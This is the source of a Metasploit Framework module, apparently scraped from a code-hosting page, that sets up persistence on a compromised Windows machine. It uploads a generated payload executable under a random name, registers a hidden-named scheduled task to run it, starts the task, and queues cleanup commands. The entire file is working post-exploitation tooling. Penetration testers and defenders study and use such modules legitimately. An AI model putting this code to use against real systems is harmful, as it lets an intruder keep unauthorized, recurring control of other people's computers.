Path: blob/master/modules/exploits/windows/persistence/task_scheduler.rb
25357 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck12include Msf::Post::Windows::TaskScheduler1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows Persistent Task Scheduler',19'Description' => %q{20This module establishes persistence by creating a scheduled task to run a payload.21},22'License' => MSF_LICENSE,23'Author' => [ 'h00die' ],24'Platform' => [ 'win' ],25'Privileged' => true,26'SessionTypes' => [ 'meterpreter', 'shell' ],27'Targets' => [28[ 'Automatic', {} ]29],30'DefaultTarget' => 0,31'References' => [32['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],33['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']34],35'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler36'Notes' => {37'Stability' => [CRASH_SAFE],38'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],39'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]40}41)42)4344register_options(45[46OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),47OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),48]49)5051# not needed since this is not remote52deregister_options(53'ScheduleRemoteSystem',54'ScheduleUsername',55'SchedulePassword',56'ScheduleObfuscationTechnique' # prefer NONE so we can start our service57)58end5960def writable_dir61d = super62return session.sys.config.getenv(d) if d.start_with?('%')6364d65end6667def check68print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value69return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)7071begin72get_system_privs73rescue StandardError74return CheckCode::Safe('You need higher privileges to create scheduled tasks ')75end7677CheckCode::Appears('Likely exploitable')78end7980def upload_payload(dest_pathname)81payload_exe = generate_payload_exe82fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)83vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")84end8586def install_persistence87payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))88temp_path = writable_dir89payload_pathname = temp_path + '\\' + payload_name + '.exe'90upload_payload(payload_pathname)9192task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))93vprint_status("Creating task: #{task_name}")94begin95task_create(task_name, payload_pathname, { obfuscation: 'NONE' })96rescue TaskSchedulerObfuscationError => e97print_warning(e.message)98print_good('Task created without obfuscation')99rescue TaskSchedulerError => e100fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")101end102103vprint_status("Starting task: #{task_name}")104task_start(task_name)105schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb106@clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"107@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"108end109end110111112